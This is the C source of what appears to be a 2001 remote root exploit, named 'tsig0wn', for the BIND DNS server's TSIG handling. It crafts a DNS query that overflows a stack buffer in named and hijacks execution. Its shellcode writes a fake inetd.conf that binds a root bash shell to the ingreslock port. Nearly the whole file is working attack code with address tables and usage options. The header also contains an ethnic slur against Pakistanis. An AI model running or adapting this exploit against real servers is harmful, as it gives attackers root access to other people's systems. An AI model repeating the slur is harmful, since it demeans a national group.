/* * tsig0wn.c * Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau * gneisenau@berlin.com * The author is not and will not be held responsible for the action of * other people using this code. * provided for informational purposes only * since a greetz section is de rigeur * greets to my luv scharnie, sheib, darkx, famzah, brainstorm, ghQst, robbot, ...... * a special fuck to all pakis including those idiots from GForce, etc.... * but then pakistan is one big village comprising exclusively of prize idiots * tabstop set at 3 */ #include #include #include #include #include #include #include #include #include /* * This shellcode sux. cant ever get around to coding another one. */ char shellcode[] = { 0xeb,0x3b,0x5e,0x31,0xc0,0x31,0xdb,0xb0,0xa0,0x89, 0x34,0x06,0x8d,0x4e,0x07,0x88,0x19,0x41,0xb0,0xa4, 0x89,0x0c,0x06,0x8d,0x4e,0x0a,0x88,0x19,0x41,0xb0, 0xa8,0x89,0x0c,0x06,0x31,0xd2,0xb0,0xac,0x89,0x14, 0x06,0x89,0xf3,0x89,0xf1,0xb0,0xa0,0x01,0xc1,0xb0, 0x0b,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xcd, 0x80,0xe8,0xc0,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e, 0x2f,0x73,0x68,0xff,0x2d,0x63,0xff, 0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69, 0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74, 0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77, 0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69, 0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20, 0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69, 0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f, 0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65, 0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65, 0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00, }; #define NS_T_TSIG 250 #define SHELLCODE_OFFSET 13 #define DUMMY_ARG_OFFSET 176 #define ENUM_FILE 1 //eventlib_p.h line 141 struct { char *system_name; unsigned int buffer_start; /* the address where out buffer starts in memory */ unsigned int frame_pointer; /* content of the frame pointer */ int garbage_len; /* length of the garbage in which we will embed ebp|eip */ } system[] = { { "Test value 1", 0xbffff640, 0xbffff868, 326, }, { "Test value 2", 0xbffff5f0, 0xbffff700, 326, }, { "Slackware 7.0", 0xbffff590, 0xbffff7e8, 326, }, { NULL, 0x0, 0x0, }, }; void usage (void); void encode_dns_name (char *, int, int); int main (int argc, char *argv[]) { char query[PACKETSZ]; // construct our query packet here char *query_ptr; // pointer to walk the query buffer HEADER *hdr_ptr; // pointer to the header part of the query buffer int arg; unsigned int buffer_start, frame_pointer, // value the frame pointer will have shellcode_addr; // address our shellcode will have in the named buffer calculated from buffer_start int index; char *target_name; struct hostent *target_host; struct sockaddr_in target; int sockfd; if (argc < 2) usage (); while ((arg = getopt (argc, argv, "b:f:s:")) != -1) { switch (arg){ case 'b': sscanf (optarg, "%x", &buffer_start); break; case 'f': sscanf (optarg, "%x", &frame_pointer); break; case 's': index = atoi (optarg) - 1; buffer_start = system[index].buffer_start; frame_pointer = system[index].frame_pointer; break; default : usage (); } } if (!(target_name = argv[optind])){ fprintf (stderr, "tsig0wn: abysmal m0r0n error\n"); exit (1); } /* * Form a header. */ memset (query, 0, PACKETSZ); // cud blow up on other architectures not as liberal as x86. an union like in the bind sources is the correct way to go. hdr_ptr = (HEADER *)query; hdr_ptr->id = htons (0x1234); hdr_ptr->qr = 0; hdr_ptr->opcode = 0; hdr_ptr->qdcount = htons (2); hdr_ptr->arcount = htons (1); /* * Form a query after the header where we put in the shellcode */ query_ptr = (char *) (hdr_ptr + 1); memcpy (query_ptr, shellcode, strlen (shellcode)+1); query_ptr += strlen (shellcode) + 1; PUTSHORT (T_A, query_ptr); PUTSHORT (C_IN, query_ptr); /* * we form another header here that contains garbage with embedded stuff * i cud have put this in the same header as the shellcode and have the * shellcode nullify. (shrug) */ { char *tmp; unsigned long dummy_argument = buffer_start+DUMMY_ARG_OFFSET; frame_pointer &= 0xffffff00; // zero out the LSB like the overflow in ns_sign will do // this will make layout a domain name for the second query, within which // we will embed our ebp | eip encode_dns_name (query_ptr, system[index].garbage_len, (frame_pointer - buffer_start) - (query_ptr - query)); query_ptr += system[index].garbage_len; shellcode_addr = buffer_start + SHELLCODE_OFFSET; printf ("buffer starts at address = 0x%x\n", buffer_start); printf ("saved frame pointer after overwrite = 0x%x\n", frame_pointer); printf ("shellcode will reside at address = 0x%x\n", shellcode_addr); printf ("dummy argument will reside at address = 0x%x\n", dummy_argument); // put in the type member of evEvent_p. File is what we need tmp = query + DUMMY_ARG_OFFSET; tmp[0] = ENUM_FILE; tmp[1] = ENUM_FILE >> 8; tmp[2] = ENUM_FILE >> 16; tmp[3] = ENUM_FILE >> 24; // embed the addresses. These will be interpreted as ebp and eip. // we put the address where our shellcode will be situated twice. // we overflow the saved frame pointer of datagram_read(). when the // function returns to __evDispatch() it calls __evDrop(). // because we have shifted the frame pointer and thus __evDispatch() // notion of the stack we also provide two pointers as arguments to // __evDispatch. These pointers point to the start of this query header // name, within which __evDrop will look for evEvent_p->type. we set // type to be of type 'file' above which causes it to break and execute // FREE() which in turn calls free(). tmp = query + (frame_pointer - buffer_start); // advance the ptr to the place where we put in our ebp|eip tmp[0] = shellcode_addr; tmp[1] = shellcode_addr >> 8; tmp[2] = shellcode_addr >> 16; tmp[3] = shellcode_addr >> 24; tmp[4] = shellcode_addr; tmp[5] = shellcode_addr >> 8; tmp[6] = shellcode_addr >> 16; tmp[7] = shellcode_addr >> 24; tmp[8] = dummy_argument; tmp[9] = dummy_argument >> 8; tmp[10] = dummy_argument >> 16; tmp[11] = dummy_argument >> 24; tmp[12] = dummy_argument; tmp[13] = dummy_argument >> 8; tmp[14] = dummy_argument >> 16; tmp[15] = dummy_argument >> 24; } PUTSHORT (T_A, query_ptr); PUTSHORT (C_IN, query_ptr); /* * Additional section containing T_SIG stuff */ // a name with only one char memcpy (query_ptr, "\x01m\x00", 3); query_ptr+=3; PUTSHORT (NS_T_TSIG, query_ptr); PUTSHORT (C_IN, query_ptr); // these members wont be checked at all as find_key returns NULL on testing secretkey_info. // PUTLONG (0, query_ptr); // PUTSHORT (0, query_ptr); /* * Connect and deliver the payload */ if (!(target_host = gethostbyname (target_name))){ fprintf (stderr, "host name resolution error for %s: %s\n", target_name, hstrerror (h_errno)); exit (1); } if ((sockfd = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0){ perror ("socket"); exit (1); } memset (&target, 0, sizeof (target)); target.sin_family = AF_INET; target.sin_port = htons (53); target.sin_addr.s_addr = ((struct in_addr *)target_host->h_addr_list[0])->s_addr; if (connect (sockfd, &target, sizeof (target)) < 0){ perror ("connect"); exit (1); } if (send (sockfd, query, query_ptr - query, 0) < 0){ perror ("send"); exit (1); } exit (0); } void usage (void) { int i; fprintf (stderr, " tsig0wn\n"); fprintf (stderr, "Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau\n"); fprintf (stderr, "\nAvailable System Types\n"); for (i = 0; system[i].system_name; i++) fprintf (stderr, "%d. %s\n", i+1, system[i].system_name); fprintf (stderr, "\nUsage:\n"); fprintf (stderr, "tsig0wn [ -s system type ] target\nor\n"); fprintf (stderr, "tsig0wn [ -b buffer start address ] [ -f frame pointer content ] target\n"); exit (1); } /* * a pretty convoluted function. * len is the number of octects to fill in (including the length octect) * embed_pos is the position where we need to embed this |len|ebp|eip|. * Hopefully when we overwrite the saved ebp on the stack * we expect it to point here and take the eip (which in turn points to our * shellcode) from here. The challenge here is to lay out the octets so * that it doesnt clash with embed_pos. */ void encode_dns_name (char *buf, int len, int embed_pos) { int ctr = 0; int adjusted = 0; embed_pos -= 2; // our ebp | eip needs the length octet before it, so adjust for it now + 1 len--; // for the NULL octet at the end. // sanity check if (embed_pos >= len){ fprintf (stderr, "encode_dns_name: embed_pos >= len\n"); exit (1); } while (ctr < len) // max 63 octets allowed + preceding 1 octet for length if (ctr+64 <= len){ // enough space for another 63+1 if (ctr+64 <= embed_pos || adjusted){ // embed_pos not in between *buf++ = 63; memset (buf, 'g', 63); buf += 63; ctr+=64; } else { // need to adjust cuz embed_pos in between *buf++ = embed_pos-ctr-1; memset (buf, 'o', embed_pos-ctr-1); buf += embed_pos-ctr-1; ctr+= embed_pos-ctr; adjusted++; } } else { if (len - ctr <= embed_pos || adjusted){ // only remaining len - ctr *buf++ = len-ctr-1; memset (buf, 'g', len-ctr-1); ctr += 63; // we are quitting anyway after this. no need to update ctrs } else{ *buf++ = embed_pos-len-ctr-1; memset (buf, 'o', embed_pos-len-ctr-1); buf += embed_pos-len-ctr-1; ctr += embed_pos-len-ctr; adjusted++; } } *buf=0x00; // finish with a 0 } /* www.hack.co.za [1 March 2001]*/